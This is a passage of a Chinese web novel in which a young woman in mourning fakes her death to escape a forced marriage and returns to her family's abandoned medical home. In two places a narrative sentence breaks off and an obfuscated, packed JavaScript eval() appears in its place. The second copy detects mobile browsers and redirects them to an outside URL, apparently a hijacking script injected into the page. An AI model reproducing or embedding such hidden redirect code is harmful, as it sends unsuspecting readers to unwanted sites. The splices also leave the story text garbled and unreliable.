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向园眼睛瞪得比他还圆,“你小孩子家家,知道什么错不错的。你不会以为他肯帮忙我就有好日子过吧!” 她看得清楚,蓝秀才根本就拗不过他爹娘,不然外婆在世时,他们就上门提亲了。 不受待见的媳妇儿,就是进门了,又能落着几分好! 阿文想想蓝家婶子拿蓝哥哥当宝贝疙瘩的样子,也犹豫起来。 向园补给他五文钱,又给他一个烧饼,“烧饼趁热吃,钱你收好,明天货郎来了再去买糖!” 阿文不要,“园姐姐,你自己留着吧。我奶我娘饿不着我。” 他爹不常管他,但要是他当着货郎撒泼打滚,他爹也会掏钱给他买糖。 向园失笑,“你都大了,可不能再像以前那样随地滚了。你留着,姐姐有这些就足够了。还有……” 她凑到阿文耳朵边,悄声嘀咕几句。 阿文有模有样地点点头,又担心地看着她,“园姐姐,要是你过得不好,就回来找我,我跟我娘说,让你给我做媳妇儿!我娘不舍得欺负你,她要是欺负你,我给你撑腰!” 一副小大人模样。 向园叫他逗笑,点点他的脑门,摇了摇头。 阿文不行,阿文太小了,还馋,要是找这么个小相公,向园觉得自己这辈子都别想享福了。 阿文垂头丧气地走了,但闻到手里烧饼散发出的腾腾麦香味,又高兴起来,哇呜咬下一大口,酥脆掉渣的烧饼噇了满嘴,他满足地眯起眼睛。 向园收拾好东西,强逼着自己歇了一会儿。 到申时末,果然有人送东西来,整整一车。 梅大舅可谓下了血本,不仅拉走的家用器物和向园的私用物件都还了回来,就是向园养的那些鸡鸭鹅,他也都各送回两只,还让赶车的人带话。 “这白米白面、鸡鸭鱼还有蛋是给小姐补身体用的,掌柜的说您这些日子伤心过度,亏空了,让您好好将养身体。这鹅嘛,掌柜的说,您在这儿住着,单门独户的不安全,特地让我带来,留给您看门用的。” 那人年岁不大,是梅家街坊家的小子,为人活络又不过分逞能,梅大舅忙不过来时,常招呼他过去做伙计。 小伙计一路上都啧啧称奇,一毛不拔的铁公鸡掌柜对外甥女儿竟这样大方,他都等不及想看看这是什么神仙人物了。 打近处一瞧,才晓得果真是神仙人物。 以前常听人说“女要俏,一身孝”,今日他才知道这话不假。仙女果真是仙女,就是披着麻衣素服,也能晃花人眼。 怪不得掌柜的不肯接城里去,这要是接去了,只怕街头巷尾那些浮浪子弟都要坐不住了。 他看得入神,一时间竟然忘了这是掌柜家的外甥女儿,不是他能唐突的。 “园姐姐!”阿文进来,瞪了那伙计一眼。 小伙计终于回神,收回目光。 这一趟挣不得几个钱,但能看这么几眼,已是赚到了,也算不虚此行。 他笑着告辞,“小姐,东西送到了,我就先回了。掌柜的还等着我跟他回话呢。” 向园谢过他,又交代一句,“请舅舅得空便来看我,他走后我梦见外婆和我娘,她们说我命不久矣,等着我过去团聚。” 她垂着头,神情悲戚,明明花骨朵一样的年纪,却流露出无限哀思,好似风烛残年之人,将要不久于世似的。 伙计一惊,“小姐,怎能轻易说这话!别说是说,您就是想也不能想的,我就更不能替您传话了。我看您是伤心过度,糊涂了,我回去就跟掌柜的说,请他来瞧您,您可千万别挂在心上啊。” 说完,慌不择路地赶着车跑了。 向园这才抬头,看向伙计走后,才钻出墙头,跟在阿文后头的书生。 3. 第 3 章 “蓝大哥,你有什么事?”向园笑问。 “我听阿文说你不大好,过来看看……”蓝仁低着头,吞吞吐吐。 向园看向阿文,阿文吐吐舌头,一弯腰钻到桃树后,扶着花枝挡住眼,偷眼瞧这边。 向园:“……” 她摇摇头,对蓝仁道:“多谢你关心,我没事。” 蓝仁稍微抬眼,“你刚刚……” 向园垂下眼睫,“我确实梦见外婆和我娘了,我深感自己命不久矣,便是她们不来接,早晚有一日,我也要去寻他们的,人总归不能一直活在世上,总有埋到土里那一天。” 蓝仁急得满头汗,他举起袖子擦擦额头,劝道:“你还这样年轻,可千万不要想不开啊!人只有活在世上,才有以后!” “蓝大哥想什么呢,我自然不会寻死。”向园露出个笑,“不过是外婆刚去,又做了这样一个梦,我有感而发罢了。若能活着,谁不想好好过活呢。” 蓝仁看着,竟觉得眼前的女子比树上仅存的桃花还要娇艳柔弱,禁不得一点春风。 他一时呆住。 “咳,园姐姐,你没事儿吧!”阿文虽是问的向园,眼神却瞟向蓝仁。 没想到蓝仁哥这么大一个秀才,竟跟那小伙计一个德行,他暗怪自己刚刚嘴快。 经他一提醒,蓝仁总算回过神来,又听向园话里的意思,的确不像存了死志,他放心不少,偷眼瞧了瞧面前的少女,红着脸轻声叮嘱,“若有事,便让阿文去寻我。我,我回去找我阿娘说,看能不能……” 向园端正神色,喝止他,“蓝大哥!” 热意蔓延到耳尖,蓝仁再也说不下去,匆匆作了个揖,掩面离去。 向园这才看向阿文。 阿文眨眨眼,“我什么都没说,只是恰巧遇上蓝大哥,说你今天受了欺负,哭得眼睛都肿了。” 向园笑笑,将人抛到脑后,对阿文道:“去跟你娘你奶说一声,今天你留在这儿吃饭!” 园园姐怎么一点也不着急了?阿文摸不着头脑。 “唉!”他干脆应了一声。 阿文回去传过话就又回来了,向园没有客气,指使他去捡柴烧水,自己去杀鸡。 两只她都杀掉,今天一起炖了。 这是她养的隔年的老母鸡,去年端午节前后抱的小鸡仔,到如今,已经快有一年。 这鸡不算老也不算嫩,但要想炖出味道,还得先把油煎出来,再加水滚。 向园心里有打算,自然就不吝惜大舅送来的米面粮油。 她往锅里倒了整整一勺油,让阿文大火烧,等烧得冒青烟了,才把一大盆鸡块倒进去,翻炒两下,用勺子铺平在锅底,盖上锅盖,小火慢煎。 等水汽煎干,鸡块两面都煎得焦黄的时候,向园往锅里添水。 添的是后灶坐的瓦罐里提前烧好的滚水,一部分拿来给鸡褪毛了,剩下这些刚好够用。 这都是跟外婆学的,用开水炖出来的鸡肉鲜嫩多汁,就是不加料也没有腥气。 才炖了一个时辰,鸡肉特有的鲜香味儿就全散出来,飘进四邻八舍的院子。 林阿婆站在门口嗅着那味儿咽了咽口水,但想到自家孙子有肉可吃,就比自己吃了肉还觉得香甜。 她这边正高兴着,孙子就回来了。 阿文回来拿碗,“园姐姐说她做了个梦,不食荤腥,让我带回来一碗给您和爹娘打牙祭,她那边碗不够,我回来拿。” 林阿婆一听高兴坏了,找了个大海碗给孙子,想想这样不好,就把自家蒸的菜窝窝捡了一碗,递过去,“听你园园姐的话,手脚勤快点,多干活,别白吃人家的啊!” “知道了,知道了!”阿文挥挥手,一溜儿烟跑远。 向园刚给张婶子几人送过鸡汤回来,接过碗就连肉带汤盛了满满一大碗,递给阿文,“你先送回去。” “这些都是你的,我先给你盛一碗凉着,你回来就能吃。”她指着案板上一小盆鸡汤鸡肉,给阿文看。 阿文深深吸了口气,等那香味顺着鼻尖钻到胃里,他狂奔出门,送鸡汤去了。 他跑得快,手却稳,到家的时候一滴未洒,送完又狂奔回去,刚刚吸进肚里那一口香气还未散完。 散完了也没关系,他这会儿有工夫,可以安生坐下来好好品味他的大鸡腿、大鸡翅,那一口气也不值当他犯馋了。 “园姐姐,这么香,你真不吃啊?”阿文嘴里塞满了鸡腿肉,含糊不清地问。 一共四只大鸡腿,张婶子家一个,他家一个,剩下两个都在他碗里了。 按说守孝是不能吃荤腥,但是乡下人家,穷苦些的整年都见不得一点荤腥,也就不在乎这个那个了。 那都是读书人的讲究,他们要是讲这个,只怕一辈子都难吃上肉。 别说他们,就是城里稍有钱的人家,也不讲这个。 要不梅大舅和邱大妗子对老娘那样敷衍,大家也就是背后戳他们脊梁骨,真当着正主的面,等闲也不会有人说什么。 向园自然明白阿文的意思,她举着手里的菜窝窝笑笑,“这个也好吃,我配着这个喝汤就行。” 她还煮了几个鸡蛋,配着汤吃刚刚好。 这样倒不是为了显孝扬名,她如今还记得,爹娘刚去世时,外婆说的话…… “咱们是多大富大贵的人家?还讲那些不通情的礼数?” “人活着的时候不好好受用,等到死了,埋到土里,不是化成土,就是化成灰,这当儿女的就是一辈子不吃荤腥,他们就能活过来?” “你既是惦记他们,就更该吃好喝好,把身体养好,别的什么也别想。” “这人呢,就图个一世受用,你替他们把没享的福都享了,这就是你的孝心。他们在下头,不用惦念你,心中没有挂碍,才能转世投个好胎……” “如果为了所谓的虚名,把自己耽搁里头,那才是笨蛋蠢材呢!” 向园真要守的话,她连鸡蛋也不会吃的,更别说喝鸡汤了。至于锅里剩下的半锅鸡汤嘛,那是要留着给人看的,可不能都喝到肚里去。 吃饱喝足,阿文打着饱嗝离开。 向园目送他出了院子,关好院门,自回屋去。 东西下晌就收拾得差不多了,除了自己藏好的银子和铜钱,大舅送来的东西,她只找了两身素色衣裳出来,一身预备明天穿,一身卷进包袱里。 收拾好,向园 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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至于去看外甥女儿,自然是要去的,不过看她之前,得先把婚事做成才行。 下午搬走那么些东西,邱氏好似叫人剜心割肉似的痛,躺在床上不肯起来。 他们的床就离窗户口不远,是以院中梅大舅和小伙计的对话,她听得清清楚楚,越发抱着头哎呦起来。 梅大舅无奈笑笑,并不进去劝。走出门,到街口买了两碗妻子爱吃的热汤面和半斤熟牛肉回去,两口子细细吃了,又烫了一壶黄酒小酌几杯,邱氏这才气顺。 第二日就是三月初三,正值上巳节,又逢大集。 梅大舅估摸着,今日出城踏青的人不会少,进城赶集的人也不会少。 他比以往早一个时辰起来,洗漱一下,就去前街铺子里,准备开张。 僻静的小巷已经喧闹起来。 “梅朝奉,去铺子里啊?” “梅朝奉,今天这么早?” “梅朝奉,来喝碗早茶?” 梅大舅一路点头招呼过去,“不了,不了,在家吃过了。今儿个人多,我提前去守着。” 而此时,向园也才出城门。 4. 第 4 章 从槐树井到县城南门,二十几里路,向园攥着劲儿走了一个多时辰。从南城门到东城门,她贴着墙根走,又是十几里路。 出了城门,走到乡间小道上,向园只觉得这双脚好似不是自己的。 任是在山上跑惯了,脚程不算慢,可这样不歇气连着走两个时辰,她也累得够呛。尤其心里慌乱,一个人行在幽静的乡野小路上,总要担心会不会有人追上来,会不会有剪径的,会不会有光棍无赖。 不一会儿,她就气喘吁吁,满头大汗了。 向园一步一挪,又挪出二三里路,实在走不动了,正要坐在路边的大石头上歇脚,背后传来驱赶牲口的声音。 “嘚儿嘚儿——走!” 向园心头一紧,攥紧包袱,往路边的草滩上躲。 这段路很窄,勉强容一辆车通过,若是两辆车对向走,其中一辆也要往草滩上让让的。 车把式薛万斤常年在路上,见过各式各样的人,这样有眼色的倒是少见。他赶着牛车经过时,不由慢了一点。 车把式娘子梁氏坐在车前,一路觑着向园。她早发现这是个美人,可惜是个半瞎的。 牛车走到近处,梁氏热情招呼,“小娘子,要往哪里去?我们往长岭走亲戚,若是顺路,捎你一段,随你给个一文两文就成。” 向园摇摇头,压低声音道:“不敢劳烦,我要往十里滩去,不顺路。” 薛万斤已经停下车,朗声道:“不麻烦,这儿离十里滩可还有三五十里路呢,你这样走要走到什么时候去?上车吧,倒也有六七里能同路,少走一段是一段。” 向园看向他们的车。 拉车的是一头水牛,头顶一对黑色弯角,结实有力。身上黑色皮毛油光水滑,看看得出来平时没少梳理擦洗。 车把式夫妻俩坐在车头,男的衣裳打着补丁,却干净利落,女的裙子半新不旧,酱紫色的衫子却是全新的。她手里挽着一个拼布包袱,一脸喜气模样。 车架左右两边各放一排小凳,不知怎么固定在车架上,一点看不出活络。 车尾还放着两只篮子,一只上头齐整盖着蓝色麻布,另一只里头卧着一只大公鸡,脖颈上扎着红带子。 这两口子,的确像是车把式,也真像是走亲戚的样子。 向园松了口气。 梁氏想着她是没钱,才不敢应声,但看她模样实在好,便笑着道:“小娘子,上来吧,难得遇上,没钱也肯捎你的。” 向园谢过,上车找了个靠后的位置坐下。 薛万斤又挥着鞭子赶起路来。 论速度,牛车并不比步行快多少,只是坐车上,就不需要人掂着两条腿使劲,轻快不少。 梁氏也不挨着车把式坐了,干脆往后头挪挪,坐到向园身边。 一路走,她一路歪头打量向园,“娘子要去哪家?这十里八村我都熟的,若是不远,我们绕点路送你过去。” 向园半垂着头,闷声道:“去十里滩韩家,他们住在山里,一家人都是猎户,前两日捎信儿说我舅姥爷病了,想让我外婆回去瞧瞧。可我外婆这几日腿疼,走不动路,正巧我在那儿住,就代她过去看看。” “这样啊!”梁氏叹道,又问,“小娘子家在哪里啊?” 向园微微瑟缩,“我家在县城北乡楼状元村。” 梁氏点点头,没了探听的心思。 状元村早些年出过不止一个状元,那边都是大姓,读书人多,规矩也严,不管家境如何,女子都是大门不出二门不迈的。连农忙时节下田,男女之间都要隔着坎垄,不得相看。 长得漂亮却瞎了眼的姑娘传不出名声来实属寻常。 向园也怕她再问,紧紧盯着路旁的村落,循着久远而模糊的记忆,她估摸着快到了,便道:“叔叔婶子,劳烦到前头岔口处停下吧,我表舅表哥他们知道我要来,说好在那儿接我的。” 说话间,已到了岔路口处。 “吁~”的一声,薛万斤勒住缰绳。 他回头憨厚一笑,热情指路,“小娘子,前头是绿蒲村,那边是白石滩,顺着这条路往前走几里,就能看见个河汊口,再往东就是十里滩!” 梁氏也笑道:“你一个人,不好走路的,还是等你舅舅哥哥来接吧!” 向园点头,“多谢您和大叔捎带,我来得比往常早些,他们恐怕要不了多大工夫就到了,我等着就是!” 诚心谢过二人,她掏出两个铜板塞到梁氏手心,支着扶手利落跳下车,往岔路另一侧去。 薛万斤和梁氏看着她纤瘦的背影,久久不能回神。 “这丫头,看着怯怯的,倒是挺利索。”梁氏掂掂两个铜板,满意地收进口袋。 “我看她不错,回头咱们去探听探听,若是合适,说给咱们阿芒倒也般配。”薛万斤对妻子道。 他儿子是个六指儿,眼看年纪也到了,近处的都清楚,说了好几桩婚事,一桩也没成。 梁氏也觉得心动,只要这丫头的眼伤不是娘胎里带的,的确不错。 “早知道就不收她的钱了。”她嘀咕一句,催着丈夫赶路。 . 向园并不往十里滩去,她要回家,回绿蒲村。 坐了一路车,腿脚缓过劲儿来,剩下几里路就不在话下。 因为是偷摸回来的,向园还是想避着点人,就没走村里的大路,只沿着山脚下的小径往绿蒲村北边的蒲家塘去。 所谓蒲家塘,并不是指住在附近的人家姓蒲,而是因为水塘边有很多香蒲和菖蒲。 向家世代行医,这两种植物都能入药,向家祖先自定居于此,便称之为蒲家塘,意为香蒲和菖蒲的家。 一路疾行至与大路相连的石板桥边,能看到家的影子了,向园才放松心神。 她抬起头来,入目的景色熟悉又陌生。 桥还是记忆里那座石板桥,两侧却竖起粗陋的木栅栏,疏疏落落,歪七扭八。 水塘也还是那汪水塘,四周却长满杂草,乱蓬蓬一片,不复以往的清幽明净。 不知对岸的家,如今又是怎样一番光景。 穿桥过去,是一段长长窄窄的土路,东边是稻田,西边是水塘。 再往后就是两处宅院,向家医庐在西,正映着水塘。东边对着稻田的是另一家。 这里早些年是一片荒地,直至向园出生前几年,才有城里一位老员外看上蒲家塘景致优美,在此处盖了一处别院。 说是别院,其实也只有几间草堂茅舍。老员外本就是为晚年修身养性所建,用料并不图精美雅致,只求一个质朴自然。 只是茅舍落成之后,老员外就娶了一位年轻的姨奶奶,他乐得在庄上逍遥,城里自在,这养老之所,自然就成了摆设。 只有夏天天热时,老员外偶尔才会带着娇妻幼子前来消暑。 后来老员外离世,这里便再也没人来过,冷清得厉害。 这也是向园敢悄无声息回来的原因。 只要避过村里人,安全回到家里,她就能安闲在家中躲避一段时日。至于大舅大妗子那里,他们要是以为她死了自然好,就算骗不过他们,只要能拖延一段时日,等表哥回来,即便不能完全劝服他们,至少还有转圜的余地。 向园绕过水塘拐角,远远就瞧见几楹茅舍。 茅舍四周围着篱笆,上头缠满丛丛木槿。或红、或紫、或粉、或白的膨大花朵娇柔绰约,妆点其间。 花叶竹篱密密匝匝胶缠着,透不出半点人影,唯有墙角处,几株芭蕉高挺挺探出墙外。 “咕咕~”“咕咕~” “啾啾~”“喳喳~” 清润的女子声音伴着鸡崽儿觅食的声音传来,向园的脚步不由慌乱起来。 “谁啊?耕耘回来了?” 不等向园找好藏身之处,那声音已由远及近,转眼便到了门口。 “你是……”樊云英打开大门,望向来人。 眼前的女子鬓发如云,乌压压堆叠在头顶,盘结成双角样式。面庞虽有些脏污,却也能看出天然的好底子,如花似月,说不出的轻盈灵动。只左眼上蒙覆的白布,让人心惊,可她的清丽足以使人忽略这样的瑕疵,即便注意到,更多的是惋惜,而不是退避。 樊云英端详片刻,越发觉得这女子面善,良久,她握住来人手臂,恍惚道:“园园?是你吗,园园?” “樊伯母。”向园嗫嚅着,思量着眼前人的身份,不敢放松警惕。 “你眼睛怎么了?”樊云英神色焦急,一连声问,“一个人回来的?怎么走这一路?” “快进屋,快进屋!“她揽着向园肩膀将人往屋里带,“渴不渴,饿不饿,你外婆可还好?” 向园出门前为了不惹人注意,特意换过一身衣裳,虽还是素服,却也跟守孝惯常穿的麻衣不大一样。 她想着回家来,就是奔着出其不意。旁边就是原家别院,大舅大妗子肯定想不到她敢一个人回来。 可没想到原来荒芜好几年的茅舍竟然有人居住,还是阿文口中所说的,要娶她当小妾的原员外的继母。 虽然记忆中樊伯母向来对她很好,可她到底跟原员外沾着亲。 向园担心不已,眼泪跟着就落下来。 也不知道现在跑,还来不来得及。 可这里就是家了,她就是再跑,又能跑到哪里去呢? 难不成真要去十里滩,找舅姥爷做主? “园园,好孩子,怎么哭了?”樊云英见她一言不发只是落泪,心中担忧更甚。 “不哭,不哭啊!”她搂着向园宽慰,“你耕耘哥哥今儿一早就往原家庄去了,我还说让他顺路去瞧瞧你跟你外婆好不好,没想到你就回来了。你耕耘哥哥,你记得的吧,小时候吓过你,长大了总不好意思往你们那边去。” 向园不记得他吓唬过自己,也不太记得原耕耘的样子,她只是模糊记得有这么一个人,应该是比自己大两三岁? 她回过神来,擦擦泪,“樊伯母,我,我没事。你,你们怎么住在这儿?” 记忆中的樊伯母,年轻漂亮,温柔和气。许多年不见,她依旧如此,可她跟原家的关联,还是让向园心惊胆战。 爹娘说过,樊伯母跟原家那些人关系不好,她应该不是原家那位好色员外派来抓她的吧。 樊云英自然不是,她笑道:“早几年,我和你耕耘哥哥就分家出来单过啦,他都在这儿住好几年了呢。” 她声音清脆,语气里带着她自己都不曾发觉的轻快,但也只是须臾,她就跟着惋惜,“也是搬过来的时候,才听说你爹娘的事。那会儿没瞧见你,我和你耕耘哥哥还很记挂,后来才知道是你外婆把你接走的。” “你家这些地还是你耕耘哥哥赁下的呢!”樊云英指着门口的青油油的稻田道,又问她,“怎么样,这些年你在那边过得可还好?你耕耘哥哥也只有每年上坟的时候才过去一趟,听他说你都好,到底我没亲眼见过,一直放心不下。” 向园很惊讶。 樊伯母说的这些她一点也不知道,既不知道田地是佃给他们家的,也不知道原耕耘过去瞧她。 怪不得他们家几亩田地,三成租就能收那样多粮食,想来是他们怕她在那边过得不好,有意照顾吧。 可她回想过往在槐树井遇到的人,没有一个跟原耕耘对得上的,总不能是过路的货郎吧! 樊云英也不等她回答,拉着她进了院子,心疼地问,“好孩子,眼睛到底怎么了?是伤着了?怎么伤着的?” 儿子去年回来还没提起,恐怕是这一年里伤着的。 她手半举起来,将要碰到向园脸侧的白布时,又放下去,似乎是怕弄疼她。 向园顿了顿,还是抬手解开那块白布,坦诚道:“樊伯母,我眼睛好好的,蒙上只是怕路上遇到无赖。我外婆,我外婆她,她去了。” 说到这儿,她眼泪不自觉涌出,又恳求道:“您别跟人说我回来过,我只是想回来看看。” 她想,要不还是赶路去十里滩吧。 就像她爹娘去了,她不能不听舅舅的话一样,想必舅舅也不能不听舅姥爷的话。 依着舅姥爷的脾气,肯定不能容忍舅舅把她嫁给一个年过半百的老头子。 樊云英哪会让她一个人小娘子单独出门,“园园,可不能这样,你一个人走路多危险,来时就不说了,我不知道,你也平安过来了。回去的话,你再稍等等,你耕耘哥哥晨起去安田里了,知道你不在那边,估计很快就回来,等他回来让他找个车,我送你回去……” 想想,又不放心地叮嘱,“你以后再想家,也不能这样糊里糊涂就跑出来了,你不知道外头拍花子多坏的,真要遇上他们,还能有个好?实在想家,就托人捎个信来,我过去接你回来,啊!” 向园没想到记忆中温柔和顺的樊伯母,过了这么多年,对她还是这样关心体贴。 她心里感动,可她肯定不能再回槐树井的。 一时间,向园也不知该如何是好,只能没话找话,“樊伯母,为何耕耘哥哥今日过去上坟?” 昨日才是清明,但凡能腾开手的村民,上坟也都是赶昨日的。 樊云英苦笑,“分了家,老大那头儿恨不得早点甩脱我们,我们也不想沾惹他们。你耕耘哥哥不想跟他们碰头,就错开一天过去,大家都好。” 原来是这样? 向园思忖片刻,抬起头来,认真道:“樊伯母,我,我不想回去。原大员外使人跟我舅舅说,要、要、要娶我……” 话未说完,眼泪便成串落下。 樊云英一惊,“他,他,他怎能这样无耻!”心中一痛,也跟着落下泪来。 当年的她,跟如今的园园,何其相似…… 若非她父母早早亡故,若非她族人不仁不慈,若非她外婆年老多病,她何至于委身于比自己大四纪还多的原老员外,何至于给一个比自己还大许多年岁的人当继母,何至于员外死后,自己和儿子还要受原家磋磨,不得安生…… “你舅舅竟也愿意?” 不等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15901591|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向园回答,樊云英就知道自己问了多余的话。 若是梅家大舅死不同意,园园又何至于一个人走这么远回家来。 “不怕,园园不怕,等你耕耘哥哥回来,让他想想办法。” 向园摇头,“樊伯母,你们安生过日子吧。原大员外本就跟你们不对付,你们别再搅进来,招他恨了。我、我回来就是想在家里躲一躲,等,等我表哥回来或许会好些。你就只当没见过我,他们一时找不到这里来。” 樊云英心痛道:“你这是说什么傻话!要得罪他早就得罪了,不差这一桩。” 当初因为分家的事,两下里就闹翻了,后来她改嫁,那边也是不阴不阳的,没个好话。 对她来说,那边是不相干的人,眼前这个却是自己从小看大的孩子,还是救命恩人的孩子。 孰轻孰重,孰亲孰疏,樊云英分得清楚,也不会在这种事情上犯糊涂。 她认得向园表哥。听说那也是个街头混子,在县城里都出了名儿的,但年年过来收租,倒也看不出混来。 听向园这么说,恐怕梅丛殊对自家表妹还不赖,只是…… “那院子荒凉这么多年,如何住得了人,更别说你这样娇滴滴的小娘子了。你且等等,等我跟你去收拾收拾,腾出地方来。” 樊云英说着,硬拉着向园在院里坐下,先打水给她洗脸,又给她倒茶、拿饼子,“你先少吃两口垫垫肚儿,我这就去做饭。” 看日头,差不多也快到午时了。 向园哪里吃得下,更不好意思劳烦她,紧跟在她身后,“伯母,你别麻烦了。我……” 她也不知道该说些什么,除了外婆,她太久没跟人这样亲近过,也太久没有人像外婆那样对她好过。 虽然才见这一会儿,她也能感受到,樊伯母的和善是从心里流露出来的,不像他人浮于表面的假笑。 樊云英按她坐下,“你别跟伯母客气,你都忘了你小时候,一丁点儿大,要跟你耕耘哥哥抢着认我当母亲啦,他都抢不过你。” 看向园乖乖的,不再动弹,她笑笑,几步走到灶台旁,搂了一把叶子点火。 冬天做饭在屋里做,灶房连着屋里的炕,一天三顿饭,不用额外烧火,就能把炕烧得热热的。 现在天气暖和些了,她就在院里的棚子里做饭。 樊云英一边添水,一边跟向园说旧事,“每回夏天我过来的时候,你就窝在我怀里撒娇,就在那个亭子里,你不记得了吧? “那时候我还和你娘商量着,要不就把你们俩换换,你到我们家来,让你耕耘哥哥到你们家去。 “结果你俩听见这话,反倒是你耕耘哥哥屁颠屁颠跟在你爹娘身后,你却不肯跟我,可把我伤心的呦,好些天才过得来劲儿…… “知道你好好的,我就放心了。至于原家那边,你也别担心,他家再势大,总越不过一个理字。你耕耘哥哥可不怵他们呢。” 不仅不怵,只要耕耘肯想法子,老大总要吃瘪。 樊云英对儿子充满自信。 . 而在槐树井的原耕耘,正一脸莫测地听阿文讲话。 “你是谁,找我园姐姐做什么?”阿文警惕地问。 眼前这个汉子高大挺拔,瘦劲有力,看着跟长云山山顶上那株百年老松树似的。 他该不会是收了原大坏蛋的钱,来强抢园园姐的吧?阿文很是戒备。 原耕耘:“……我是她家亲戚。” 阿文:“什么亲戚?” 原耕耘:“表哥。” 阿文不信,“你才不是,狗蛋儿哥不长你这样,我没听说园姐姐有别的表哥。” 他得意仰头,别看他小就想着糊弄他,他可不是好骗的。 原耕耘皱皱眉,“……我不姓梅,我是他韩家的表哥,十里滩的。” 阿文一拍脑门,园园姐是有几个姓韩的表哥,但是…… “韩家表哥我见过的,他们不长你这样。” 上个月韩阿婆下葬的时候他才见过他们呢,对韩家那几个小山般强壮的舅舅和表哥,依旧印象深刻。 原耕耘没再解释,直接问,“梅家怎么了?怎么一个人也不见?韩阿婆呢?” 阿文惊讶地看过去,“还敢说你是园园姐的亲戚?韩阿婆死了,你都不知道!你根本没来奔丧!” 原耕耘一惊,“什么时候的事?向园呢,她人怎么样,现在在哪?” 梅大用应该不会这样好心,把她接走? 可要不是梅大用,那会是谁呢?难道是梅丛殊? 原耕耘心如火煎。 阿文不知道向园有什么安排,但还记得昨天她交代的话,“园园姐在家呢,她可难过了,昨天还做了个梦,梦见……” 他突突突把向园说过的话学了一遍,末了道:“园姐姐说,她要在屋里守着,韩阿婆可能会回来看她,让我们不要去打扰,免得害怕。” “多谢你!”原耕耘塞了两个铜板过去,一翻身,跃进了梅家院墙。 梅家院墙低矮,为了防止盗贼和无赖逾墙而入,墙头扎着尖利的竹刺和碎瓦片。 原耕耘一时不察,竹刺和磨尖的瓦片就随着他的动作深深刺入掌心,血立时渗出来。 原耕耘眉头都没有皱一下,随手把血抿在袖子上。 那小鬼说,这话是她昨天说的,如果她存心寻死,只怕这会儿尸体都要凉了…… 原耕耘不敢再想下去。 他头一次后悔,自己错开清明来上坟。 门从屋里拴着,原耕耘踹了一脚没踹开,他没再尝试,往左走两步,大手一掰,卸掉向园常住的西间窗户,蹿了进去。 屋子里空无一人,梁上也没有绳子,只有…… 原耕耘皱皱眉,避过撒了一地的米粒,走到炕边。 上头仿照人形摆着一套粗布麻衣,有一道血迹从脖颈处蜿蜒而下,一直到枕侧。 是被掳走的,还是…… 原耕耘想不出头绪,他在屋里转了一圈,终于从一个角度,看清炕头一行红色小字,“园园,外婆来接你了,咱们去跟你娘团聚。” 是血迹,但是应该不是人血。原耕耘凑近嗅嗅,下了论断。 被褥里夹着一根鸡毛,底端还带着点红,他捡起来瞧两眼,揣进自己怀里。 心里有了底儿,原耕耘不再耽搁,原路翻出去,反手安上窗户,又翻出墙外。 这次倒注意着,没再伤了手心。 刚落地,就发现墙后的小鬼,他弹了个石子过去。 偷看被大块头发现,阿文很悲催。 但一大晌都没看见园姐姐的人影,他也很担心,不等原耕耘开口,就先问道:“园姐姐呢,你见着她没?她怎么样啦?” 原耕耘:“担心她?” 阿文老实点头。 原耕耘:“……她不在屋里。想让她安然无恙的话,现在马上把昨天发生过的事,原原本本,完完整整,跟我说一遍!” 阿文:“……” 5. 第 5 章 吃过饭,简单收拾一下,樊云英就陪着向园往隔壁去。 向家的医庐是向家世代所居,前院行医,后院住人,建的时候就十分讲究,既要结实,又要宽敞,高墙大院,门户颇为严谨。 早年爹娘在时,何等热闹。如今不过几年,就门庭冷落,荒草丛生,处处显出萧条和破败来。 向园轻轻抖落锁上的灰尘,掏出珍藏的钥匙,一点点磨进生锈的锁眼里,好一会儿,才弹动关窍,推开大门。 入目一片荒芜,原本规整有序的药田杂草丛生,葱茏蓊郁蔓延到院子里,已经分不清哪里是药田,哪里是空地了。 就连门廊檐下,一排排青砖缝里也冒出野草,随着似有若无的微风招摇,算是这杂乱无章的院子里,唯一一个整齐的角落。 樊云英错开向园几步,她探头朝外看了看,没见到有人,才拴上大门,跟上向园的脚步。 她虽不是头一次来,却是头一次感到陌生。看着与往日截然不同的院落,她心中也是感慨万分。 向园早想到会如此,并不十分吃惊。 前头也不是没想过回来瞧瞧,只是她和外婆两人,老的老,小的小,出一趟门也不容易,只能托表哥照管。 可表哥向来散漫惯了,总想着她既去了槐树井,恐怕一辈子也难回来,所以每每她说的时候,他只是应下,收租的时候也会过来看看。 真的就只是看看,开过门看一眼,回去跟她说,草又长高了,药田都荒了,后院墙角裂了个缝,下大雨砸落几片瓦,院墙东南角一只红肚子大蜘蛛安了家。 听多了这话,不止外婆无奈,她也无言以对,慢慢的,也就不再让他来看了。 向园和樊云英避开野草,顺着东墙从前院往后院走。 前院挨着西墙、南墙,是一溜儿药圃,正北三间小楼,青砖灰瓦,坐北朝南。 这小楼原是向园父亲向万年行医治病的所在。一楼正中一间用于诊脉开方,左右两间收贮常用的药物。楼上只有正中和正西两间房,中间墙是打通的,做了书房。东边这块则是一片露天平台,一面靠墙,三面围有栏杆,以前用来晒东西,偶尔一家人也在这里喝茶赏月。 后院才是向园一家三口生活的地方。 前后院之间,只隔着一道花篱,花篱上常年攀着荼蘼和蔷薇。 向园走到花篱处,脚步不由慢下来。 印象中,这道篱笆刚扎起来的时候,娘亲想种爹爹喜欢的金银花,爹爹却偷偷种了娘亲喜欢的荼蘼和蔷薇。娘亲嘴上不说,心里是高兴的,特意又在后院东北角那块搭个棚子,种了一大片金银花,让爹爹入药用。 花棚正对着篱笆门。 